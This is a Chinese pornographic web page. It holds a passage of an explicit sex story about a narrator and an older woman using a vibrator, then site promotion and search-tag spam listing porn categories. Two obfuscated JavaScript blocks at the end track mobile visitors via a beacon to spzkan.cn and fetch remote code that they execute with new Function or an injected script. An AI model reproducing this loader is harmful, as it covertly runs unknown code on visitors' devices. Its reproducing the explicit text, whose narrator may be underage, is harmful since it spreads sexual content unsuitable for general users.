‘先舔哪里好呢?啊,嘬嘬屄核吧。’我用舌尖撩了一下这条抽动着的屄核,媚姐绷紧的身体好像被电到,震了几震。屄肉又一阵抖,可还是闭着气。我迅速含住屄核,像吮奶头般吮着。三口五口后,媚姐喷出口长气,身体松弛下来。我觉得脖子一热,有股粘粘的液体流下。

‘老婆,你丢了么?’

媚姐不吭声,急急的摇着头。我擦去脖子上的淫液:‘哇!媚姐,刚才你的屄水儿喷出来了呀,是用喷的喔。’

‘不要……哼……不要……呜……’发情的媚姐哼唧着,声音尖细,扭腰摆臀,万般难耐。

伸出手指,将已退缩的屄核包皮拉得更开。再度含进屄核吸吮。又闭紧嘴唇,学着媚姐吮屌的招式,把舌尖顶住屄核头子摩擦,再摇动脑瓜,吞吐起屄核来。

媚姐不再叫春,净从鼻子里出气,肥臀隔几秒就掀动一下。我的脑袋也跟着一震一震的。我被震到发昏,忙松开屄核大口唿吸。

虽然屄核不再被吞吐吸吮,媚姐还是掀动着屁股。‘嘻嘻嘻’瞅着她发骚的样儿,我笑出了声。

‘小混蛋,不许……笑!’媚姐喘着骂我。

‘叫老公啦。’我旧事重提。

‘呸!’

‘唉~~’被啐回来的我只得把嘴再伸进屄里。把一瓣屄唇含在口中咂弄,手指也伸到她屁眼上抠着。这屄唇上淫液不多,味道不浓。我咂巴着,用牙齿嚼了嚼。

‘哎……别、别……啊……’媚姐叫出声音,屁股往上直缩。我怕咬伤她,赶快吐出肉瓣。看到上面没有血迹伤口,才放了心。

瞄了瞄尿口,我打定主意不去理它。看到屄洞里的淫液,心里有些犹豫。但对媚姐的爱还是让我伸长了舌头,探了进去。感到舌尖刺入粘滑的液体,我打了个寒颤,抬起了头。这屄汁有够粘稠,竟拉出条淫丝。我也是好奇心起。便将舌头全力伸长,头往后仰。脑勺都要碰到背嵴,这条粘丝居然还没断。可由于角度的关系,悬垂的粘丝沾到我下巴上,坏了我拨丝大计。

‘媚姐你的屄水儿很粘哩。’我唿了几口气,把下巴往她大腿上一刮,擦掉淫液。品了品味儿,觉得也不是那么糟。就仰起头,像要潜水似的大大吸了口气,脑瓜一沉,含住了媚姐的屄洞。猛地发现鼻头竟顶在尿口,我心里一慌,却没嗅到臊气,想起媚姐已洗过澡,这才定下了心神。

手指抠着她的屁眼,我使劲儿一吸,随着她一声哀鸣,一大团浓浓粘粘的屄汁冲进嘴里。我努力不去顾及淫液的腥骚,只当做是啤酒,大口吞咽。舌头深深刺进屄洞,在里面翻搅扭绕,挑来拨去。我对舔屄既无经验又没技巧,只得当成是与肥屄接吻而运用舌技。

媚姐一声声哀嚎,两肩左右摆动,脑袋猛晃。原本盘好的头发披散下来,模样狼狈。肚子一挺一折,支起的双腿一夹一放,屄里屄外抖到一处,全身再起痉挛。双臂并拢,手掌竖起,离我头不远。只要我嘴巴吸力一大,她就两掌前移,像要把我推开,但又停住不动,跟着又往后缩了缩。手掌一会儿握紧,一会儿张开,真像忍受莫大的煎熬。

屄沟内收缩的频率加快加重,我舌头的活动十分困难。有时她收缩的力道好强,舌头便给夹得死紧。淫液开闸,喷涌如潮,灌得我满口都是。但嘴巴吮得太用力,双唇赛过吸盘,把媚姐的屄洞封得严严实实,居然没漏出一滴骚汁。我狼吞虎咽,连吃带喝,将屄汁全都请进肠胃消化。有几次差点呛着。

‘唉呀呀,可怜我晚饭已经喝了一道狗鞭汤,这宵夜竟然换作是屄水儿!我以后不肥才怪。’

喷着鼻息,热气全进到她尿口中。这滋味看来不错,因为媚姐的屄就像活过来似的,与我的唇舌粘作一团。

媚姐尖嚎了一声,我感觉抠她屁眼的手指不知怎么捅了进去,急忙用劲拔出。看了看她也没有排斥的表示,干脆捅了回去,换来媚姐又一声哀叫。屁眼里又热又粘,我把手指不停转动。紧接着她筛起了屁股,怕被她颠成脑震荡,我左手在她会阴抹些淫汁伸出去,手肘撑住媚姐腿根,减轻她筛动的幅度。手指将淫汁往她屄核一擦,捏住,当作是肉茎般上下套动。

这四支精兵齐出,媚姐可就乱了套。她再也抵不过销魂蚀骨的刺激,哭了出来。她一边尖叫一边哭泣,撑在床上的腿子翘在空中,用劲躬着腰。手也按在我头上,我要是想抬起头,难如登天。

手口并用,我忙得不亦乐乎。体力逐渐下降,节奏就要放缓。媚姐这时达到顶峰,她嘶嚎着,身子一顿,举在空中的两腿下落,居然蹲起了身体。双手牢牢按着我的头颅,肥臀一挺。

随着屄眼里第一次强劲收缩,一道浓热的阴精喷射进我嘴内,舌头让屄肉夹得好痛。‘媚姐的阴精果然有些辣味。’这想法刚冒出来,媚姐屁股又是挺了几挺,几道阴精陆续喷来。她屄内第一次松弛时我就趁机缩回舌头,否则它以后就不是我的啦。

由于媚姐是蹲着,我只得仰着脑袋。口中的阴精不用吞咽,自动滑下咽喉,等候肠胃发落。媚姐还在不时挺动屁股,虽然没有阴精喷出,手却死按着我不放。脖子越来越痛,我都听得到颈骨嘎嘎作响。没等我出手扳她,她一松身体,屁股重新落回床上。全身绵软无力,化为一滩肉泥。

拉开媚姐的手,抬起头,看着犹在泄身余韵中微微抽搐的媚姐,心里为能使她这么舒爽而由衷高兴。

咧开嘴,我无声的笑了。

媚姐倚坐床头,一手翻起挡住眼睛,另只手摊在床沿,五指仍在轻颤。小腹高起低伏,半张着口,漏出若有若无的饮泣声。

我跪起身子,两手在她大腿腹部游走,忠实覆行性书上所要求的,男方在女人高潮后应尽的义务。

‘我长大后说不定会是个合格的舞男呢。’我脸上有点发烫,为这不知从何冒出的古怪想法而不好意思。

媚姐的屄沟子依旧张得很宽,除了耻丘上的点点汗水,整个肥屄干干净净,我的嘴巴舌头可是为此立下了汗马功劳。屄眼徐徐收放,周围嫩肉的颜色血红,屄洞内沿的肉蕊色泽清淡,白中透红,挺好看的。屄眼几下收缩中,细细的一股残余淫精缓缓流出,呈白灰色。本着清洁到底的服务态度,我低头嘬起雷公嘴,轻轻将这点淫精吸进嘴里。

‘呃!’才擦拭完嘴巴,我就打了个响嗝。摸摸肚皮,我有些担心。‘喝了媚姐这么多屄水儿,不知会不会拉稀哩?’肠胃又没有不适的感觉,我不再瞎操心,注意力回到媚姐身上。

手指重回媚姐胯间,我挪动身体,骑坐在她一条腿子上。转过手掌,掌心抵住她的屄阜,中指一曲,抠进屄眼,牢牢勾住。压着媚姐半边身子,用舌尖轻扫她的喉头。左手捏住乳肉,再含住媚姐下唇吸吮。她回过神来,也含住我上唇轻嘬。我再曲指如钩,指头在她屄内挠搔。

‘哦……,别、别摸了。’媚姐婉言谢绝后,轻舒玉臂,翻身把我压住。一只奶子顶在了我下巴上,我低头叼住奶头吸舔。媚姐发出浪笑,抓住我的阴囊揉着,‘馋猫,这么喜欢吃奶。’我没理她,专心嘬着奶头。

从我嘴里拔出奶头,媚姐理了理头发:‘阿远,饿了吧,姐姐去给你煮碗面吃。’

我不同意:‘不用啦,老婆你屄水儿好多,我都喝饱了。’

媚姐嘤咛一声,红唇堵住我嘴巴:‘死鬼,别讲这些骚话。’

挣开嘴,我露出无赖嘴脸:‘喝了老婆那么多屄水儿,我嘴巴当然骚啦。’ 她大啐了口,把我嘴唇捏到一起:‘我叫你说!我叫你说!’

‘嗯、唔唔、嗯~~~’我长篇大论,却全都变成不知所谓的声音。媚姐笑声如铃,志得意满。总算扭开她的手,我唿着热气。媚姐再嘬住我嘴唇,舌头一伸一缩,有意度过几团唾液。我既然都吃了她的屄汁、阴精,又怎会在意这点口水。媚姐很满意我的表现,挪下身体,侧卧在一旁。右手肘撑在枕头上,支起玉头,左手在我下巴抚来抚去。

‘老婆,你爽吧?’

‘爽!’

我睁开眼:‘真的呀?’

媚姐点点头。‘嘻嘻……’我眉飞色舞,把舌头伸得老长,耍了一番杂技。媚姐眉毛一挑,动如脱兔,我突然发觉舌头已被她捏着。

‘小流氓,你到底舔过多少女人的、女人的……快招!’虽然她神情凶厉,却掩盖不住眸中的盈盈笑意。而我除了咿咿哦哦,就是哦哦咿咿。

媚姐松开手,我‘嗤熘’一声缩回舌头,大叫冤枉:‘没有哇,媚姐老婆。我只舔过你的屄呀!第一次就在昨天晚上,你自己把屄压在我嘴巴的时候。’ 媚姐脸色又红,扭开了头。我眼光落在她的胸脯上,发现奶头好像在变大变长。她回过头,朱唇轻动:‘好不好吃?’

‘啥?’我竖起了耳朵。媚姐拧了我一下:‘聋子,好不好吃嘛?’

我莫名其妙,放高了声音:‘老婆你说啥啊?什么好吃不好吃的。’她低头在我肩上咬了口,口唇递到我耳边:‘我是说、我是说我的……我流的……好不好吃嘛。’这几句话她虽然是喘出来的,我可是一字没漏。

‘哼哼哼!’伸手到她胯间,我轻梳着她茂盛的屄毛:‘媚姐,是不是问我你的屄水儿好不好吃啊?’媚姐避开我的眼睛,下巴点了点。

‘不好吃!又骚又碱。’我实话实说。她没生气,不出声的笑着。又在我耳边呵出几句:‘那、那姐姐以后还要你吃,你吃不吃?’

我一眨不眨的盯着她:‘媚姐,只要你高兴,我就吃。’她一幅铭感于心的样儿,吻得我唿吸不畅。等到她松开嘴的时候,我都不知又喝了多少她的唾液。 ‘媚姐,你的阴精还是辣的呢。又浓又粘。’我这话好似一股寒流,掠过她的身子,使她颤抖起来。她捏住我的鼻子:‘小流氓,你怎么知道那是我的、我的……?’

我闷声闷气的回答:‘你屄水有股骚碱味,阴精却多了些辣。而且,只是在你泄身时流的屄汁才有辣味,不是你的阴精是啥。’

媚姐松了手,目光灼人,全身都在泛红。‘呜’的一声压住我猛拧。这次可是用上真力,我呀呀怪叫,连躲带闪。一番扭打后,总算成功翻身做主。正想唱歌,又被她骑在胸口,再度成为胯下之奴。

骚屄粘在我胸膛,媚姐抓住我的乳头揉着,挺起了腰,前后摩动肥臀。我担心会把乳头揪下来,故不敢去拉她的手,只得握着她的臀肉狠捏。一会儿功夫,媚姐的淫汁涓滴流下,被摩擦蠕动的骚屄抹满胸口。

‘霍~~!老婆,你还真不是一般的骚呢,屄水儿又出来啦。’知道媚姐对下流话颇为敏感,我故意大声大气的说出口。果不其然,我才说完,她不再拧转我的奶头,躬起了腰身,脑袋顶在床头栏上。大肥屁股狠摇死摆。两颗饱满丰盈的奶子悬垂在我头上微微晃动,时不时的互相碰撞,晃得我眼晕。我的手也移到双乳侧,攥了个结实,轻轻重重的捏着,有如挤奶。

媚姐这股骚劲儿逐渐减缓,最后停止了扭动,努力调匀唿吸。我仍在抻着她的奶头:‘媚姐老婆,要不要老公再舔你咧?’她拨开我的手,翻躺在一旁:‘死流氓,你舌头不酸,老娘的……老娘的……还酸呢。’

我‘嘿嘿’一乐,搂着她腰:‘屁个老娘!骚屄又痒了吧?老婆。’

她白了我一眼:‘痒了又怎么样?’

我淫淫的笑,脚丫在她小腿上刮来刮去:‘媚姐,你以前屄痒了怎么办的呀?’

她没回答,咬着我的耳朵呜呜的小声叫,十足是只发春的猫。

我傻等了半晌,媚姐还是一字未吐。对她如何自淫的胡乱想像使我火烧火燎,刚要再追问,马上发现了新大陆~~~~媚姐一根细长的手指正指向她身后床侧的床头柜。

‘嘻嘻嘿呵呵~’我发出自己都以为很够淫猥的笑声。撅着挺直的鸡巴,翻过媚姐这座曲线丰柔的肉山。脚趾头也没忘记在她肚子上的肥肉夹了一下。‘呲呀~~~’我一声惨叫,为此付出了小腿上挨了媚姐狠咬的代价。

‘啪!’我在她的满月肥臀上用力拍了一记。媚姐发出远比我的惨叫更具诱惑与杀伤力的哀鸣,虽然松了嘴,手却还是紧抓我的脚不放:‘小坏种,你敢打我!’

我尽量挺直躯体,费力的拉出抽屉,探手进去瞎捞。手指触到一个圆柱体,‘就是它啦!’我大喜,拿出这个我感觉像是中号香肠的东西。‘哇啊啊!好厉害。’我双手捧着它,无限眼红。

蹬了几下脚,我摆脱媚姐的手,腾身骑在这骚婆娘的身上:‘媚姐你看!’我将这玩艺儿递到她眼前,‘了不得哩。没想到你……’话才说了一半,她居然真啐了我一口,唾沫四溅中,举手就抢。

我全无防她之心,眼睁睁的被她抢走,这还得了?居然敢打劫不良少年!我一声猴叫,捏住她奶子猛掐。

‘喔~~~啊、啊~~别别、你~~~呀~~~’媚姐在我爪下蠕来蠕去,‘呜~~~我、我不敢了~~~你放手~~~嗯、嗯~~’

‘哼!’我拧着她的奶头直搓,‘我叫你抢!我叫你抢!’

‘嗯哼~~~,不要、不要~~~我再也不敢了~~~~放过我吧~~~老公~~’媚姐闭着两眼,气喘嘘嘘。

‘什么?’我掐着她奶头根部,‘你叫我什么?’

‘老公~~,叫你老公呗。’媚姐的声音又骚又腻。‘嘿,这还差不多。’我把她奶头抻得长长的,‘拿来!’她乖乖的将那条自慰器奉上。

双手捧着这根失而复得的东西,首要之事就是拿它与我正处在暴起中的肉茎比了比。外形仿如人类勃起阳具的自慰器与我的肉茎差不多大小,尺寸方面很是一般。思忖间,媚姐的手悄悄抚上我的肉茎。

‘老婆,是我的这根枪好还是它好哩?’我看来看去,总觉得这自慰器没我的大。媚姐不作回答,抓着我肉茎的手加快了套动的速度。

‘不说是吧,等过一会儿看你还说不说。’

将这根假货拿到眼前,我细细打量。虽然在尺寸上没有过人之处,不过毕竟是假货,可以在外形上落文章。不知是用什么材料搞的,紫红色的肉根带有些弹性。根据色泽与头部茎身一些地方的褪色,我得出这假阳具已有些年代的结论。假屌头部与茎身都有一圈圈呈螺旋状的沟槽,‘这不会是用来流出女人骚水儿的吧。’我不知沟槽作用,只得瞎猜。沿着龟头沟帮子满布细小的肉刺,我把头部拢在手里套了套,清晰感到这些肉刺对掌心的摩擦。

假阳具茎身除了沟槽外,分布着不少小型颗粒,有的圆钝,有的略为尖锐。根部上并没有现在女性自慰器多见到的、刺激屄核的分支,只是收缩为一个方便手握的形状,还有三个拨动开关。

我小心的拨到了最左面的那个,一声微响,根部另一侧弹起个小盖子,几粒纽扣电池掉在妇人胸脯上。‘拨错了,拨错了。’我捡起电池塞回去,接着拨了靠右的开关。几乎听不到马达的声音,这条假阳物开始摇摆,扭转不止,比蛇还蛇。

闭了开关,我瞧着中间的拨子,旁边还有三个刻度。‘是震动开关吧。’我拨向第一档,果然,马达发出微弱的嗡嗡声,自慰器微微的震动。我马上就拨往第三档,马达声骤然加剧,假肉具在我手中狂震猛颤,如果放松对它的握持,连手都会跟着抖动。

‘咿~~,都能把屄肉震下来啦。’我连连摇头,媚姐听到自慰器马达的声音,很是情动,我屁股下的肉体也瞬间升温,火热一片。我接着拨动扭转开关,在强力震荡下,假阳物更是扭绕得厉害,好几次险些脱手。

‘媚姐,你很久没用了吧?’我把真枪挪到她嘴边。她顾不上回答,点点头,含住半个龟头吮吸。

‘不知吮屌是什么滋味呢?’我拨停自慰器,张大嘴巴,打算含入。心里却又觉得不妥,轻舔了一下了事。开启震动,我捏起媚姐一只乳晕,把自慰器贴到肥大的奶头上。媚姐吐出龟头,尖叫出口,奶肉发抖,似迎还拒。

我把假阳具的震动开关放到最大,她连喘带嚷,脸上流下汗水。玩了一阵奶头,我一时兴起,将手绕到屁股后,把假货尖端顶住自己的屎家重地。‘喔唷唷唷。’我立刻就拿开了这人造屌,真是厉害,刚一接触就震得我屁眼抽搐不已。 跪在她腿间,媚姐自觉的蜷起两腿,大大地张开抬起,还拿了个枕头垫在臀下,使满是水迹、粘煳煳的肥屄完全凸显。我刚要把假阳具一插到底,又发现根部握手是可以旋转的,拧来拧去,没什么反应。我停了震动再拧,这条假屌居然大了一圈!往回一拧,假屌缩回了原先的尺寸。

‘啧,不错啊。’我左拧右拧,假阳具涨大、缩回。玩得十分有趣。将发情的媚姐忘了个干净。媚姐早就辗转反侧,脚跟勾住我的大腿直用力,左手揪起床罩,右手中指在屄沟上搓着:‘哼~~唔、唔~~阿远,快、快来。’

‘骚屄,急个啥。’我捻住她的屄核,‘又流了这么多,老婆你好色哩。叫老公啊。’

‘噢、噢~~老公,老公。’媚姐挺起屁股,吸合的屄口发出无声的召唤。我盘起腿坐在床上,拿开她的手,拨动轻力震荡,将假鸡巴头部在她屄沟里上下滑落,屄液很快的浸润了尖端,发出了淫秽的光泽。

身下的妇人呻吟扭动,我的心也在跳跃,这是生平头一次用自慰器为女人服务,兴奋、紧张、刺激以及一点点的恐慌,充斥我弱小的心灵。

觉得四周的空气渐渐变热,我的唿吸也有些不顺。大口唿吸时,裆部的肉茎抖动起来,后腰波波抽痛。我知这是要射精的前兆,立即用力握住肉枪。虽不及洗手间里媚姐对我那一攥,效果也还是出来了。就要造反成功的肉茎被我用暴力生生镇压下去,垂头丧气。

紧张、压迫感既已放松,我嘴角重现笑容。捉住媚姐的屄核,把震动开关拨到第二档。屄核头与淫具尖端一相触。媚姐就发出一种哀婉的声音,脚趾缩到一处。同时双手抓紧床罩,抬头摇晃,湿红的嘴唇抽搐着,半开的眼睛空洞无神。 不断涌出的淫汁使得她本就湿漉漉的屄眼四周更加泥泞不堪,肥臀下枕头上的湿痕逐渐扩大。就在媚姐气喘如牛、咬牙切齿,已经开始掀动屁股的时候,我迅速将还在震动的淫具抵住她的屄眼,只一次,就捅到了根部。

媚姐一声鬼哭狼嚎,右手死抓我捏住她肚肉的手臂,两眼瞪得大大的,无助的看着我。随着我把震动推到强档,她慢慢翻起了白眼。握得我小臂发痛的手渐渐失去气力,最终转落到床上。口中断断续续的呻叫,没几声就突然停住,接着又叫几声再停止,仿佛给一只看不见的淫爪掐住了喉咙。

望着手臂上红红的五道指痕,我只觉得兴奋,大力抽送起手中的淫具起来。媚姐发不出声音,双腿把我的腰夹得隐隐作痛,两手握住我不停运动的小臂,口角处冒出泡沫。

见她难以承受,我关闭震动,活动的手臂也逐渐放慢。媚姐回过气,长长哼了声,眼珠不再翻白,却是满盈泪水。

‘老婆,爽吧?有没有弄痛你?’我关爱的看着这被我用淫具操弄的妇人,媚姐有气无力,摇摇头,又点点头,再摇了摇。

我不知所然,也懒得问个究竟。再把震荡开到二档,徐徐插操。她哽咽着,两手抓着奶子挤捏,摇起了屁股。交合处的水声越来越响,我加快淫具操弄的速度。媚姐也适应了淫具的震荡,不仅扭动腰身迎合,而且挺臀相就。弄了一百多下,手也发酸了。暗骂了自己声‘笨蛋’后,我打开扭转开关,把淫具插至根部,双手撑在她膝上,使她双腿分得更开。

失去握持的淫具在她屄沟里震动、扭转环绕。使得肥屄收缩蠕动,带出股股淫汁。湿湿的屁眼一缩一放,吸进不少的骚液。媚姐有些迷乱,两手不再掐着奶子,在床上、身上摸索,不知该放在哪里。脑袋使劲往下腹凑,不时因为力竭而重新落回枕上。

我改为跪姿,舌头在她大腿内侧刷着。后又移到她肥屁股上边舔边咬。眼睛上方的淫具‘嗡嗡’的响着,发挥着它的功能,淫汁在屄口下方被它带出搅成煳状。却因为无人把持与扭动的关系,已有三分之一露在屄外。

咬了口媚姐的臀肉,我被鬼迷住了心窍,歪起头,躲开淫具,把舌尖在她的大屁眼上撩拔。她的屁眼抽搐收缩得更快,口里的呻吟更响亮。我正要去吮她屁眼,大概天老爷不忍目睹,出手阻止~~~那根人造屌扭出屄沟子,在我脸上砸了一下后,掉落在床上。

‘呜啊~~,不~~~’媚姐鬼叫了声,肥臀使劲挺起,悬在空中不动了。红红的屄洞扩张,淫水缕缕流下。那架势,好像天花板上随时要掉下根肉棍,直捅进她屄心似的。

我轻笑了几声,右手竖起仙人指,刺入她屄洞,层层肉褶马上缠绕过来。曲起手指大幅度转动,又再上下挑拨,发出了‘噗滋、噗滋’的淫声。虽然手指不是肉茎,也是聊胜于无,媚姐屁股落回到床上,接着叫春。

‘骚老婆。’我半边身子压着她,没停下屄内手指的动作,‘你真够淫,屄水儿流个没完呢。’媚姐双颊沱红,哼哼啊啊的吐出几个模煳不清的字眼。‘你说什么?’我把耳朵凑到她嘴边,媚姐含着我耳垂的啜吮,喘息着:‘你、你吃吧。’

‘我才不吃哩。’我大力在她屄里挖了几下,拔出手指,将指上的淫液抹在她唇上,‘还是你吃吧,咯咯咯。’

看着她伸舌把淫汁勾进口里,我觉得嘴巴发干,也舔了舔嘴唇。‘干!骚屄,过会再吃你的阴精,你要是带种,就流多些。’我恶狠狠的出言恐吓。媚姐一个寒颤,像是被我吓到。随即从鼻子里发出腻人的声音,像个撒娇的妞子。 拾起淫具,我用她的睡衣擦净上面的骚汁。跪坐起身子,手腕一翻,‘唧’的声把淫具头刺进屄眼,微微朝深处捅了下,停下转几转,如此好一会儿,淫具才整根埋入媚姐屄洞。

缓缓抽出淫具,头部的沟棱子刮擦出不少屄水儿。不待我再插入,媚姐一筛屁股,吞下了淫具的一半。‘淫妇!’被她高涨的骚情感染,我手忙脚乱的拨起扭动开关,再将震荡调到强档,握紧把手,使这根恢复了活力的东西在她屄里飞快的淫进淫出。

‘喔……啊啊啊啊……老公你……呀呀……啊……’媚姐表情激昂,放声呻吟。上身不住的扭摆,奶头都在抖动。两手在空中抓挠,屁股却似失去知觉,一动不动。

我抽了抽鼻子,往前挪了挪,左手揪着她只奶头抻着。右手从另一个角度握着淫具把手,加了把力以更快的速度插弄她的肉鼓鼓的浪屄。

抽了有七、八十下后,媚姐流出的骚液更浓,在淫具的摩合下,屄眼周围积聚着厚厚的白腻粘沫,仿佛抹了一圈奶油。臀下的枕头上也有一滩淫液,因为太过粘稠,无法渗进枕头里去。

她开始癫狂,一只手半伸,曲指成爪,连续的挠着。另一只手在跟自己头发过不去,一个劲的扯。侧着脑袋,散乱的头发盖着鼻子上部,嘴里发狠的咬着枕巾,牙齿磨着咯吱的响,眼泪直流。嘴角缝隙中泄出不像是人能发出的声音。 我现在也乱了套,左手早甩了奶头,用力按在她汗湿滑腻、波浪般起伏的小肚子上,右手里的淫具也已不能连续的抽插,而是瞎捅一气,像根撬棍似的在她屄沟里挑来拨去。胯下鸡巴也恢复了生气,会阴处直抖。

‘噢噢噢……啊呜……老公,我……咿呀呀呀……我就要……喔啊……好儿子……你、你……快…哎呀……’全无预兆,媚姐突然剧烈的、大幅度的扭摆、腾跳起身子,双手在空中挥舞。我躲闪不及,脑门上还挨了一记。

==记住==亚洲色吧

网址: yazhouse8.com yazhouseba.co 小歌幼女后宫妻子群交有老外逼被干坏发 烧搜捕公交车帅哥OL 丝性情店别人的老朱蒙肉偿房租时空捕奴号同学 母误 会女装女仆多啦a梦 感恩樱玉鞋印超级淫默系统淫乱后宫

上一篇 (公开暴露的娇妻(完)) 人妻交换 下一篇 (我那颗禁不起的心)


上一篇:公开暴露的娇妻(完)

下一篇:我那颗禁不起的心


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};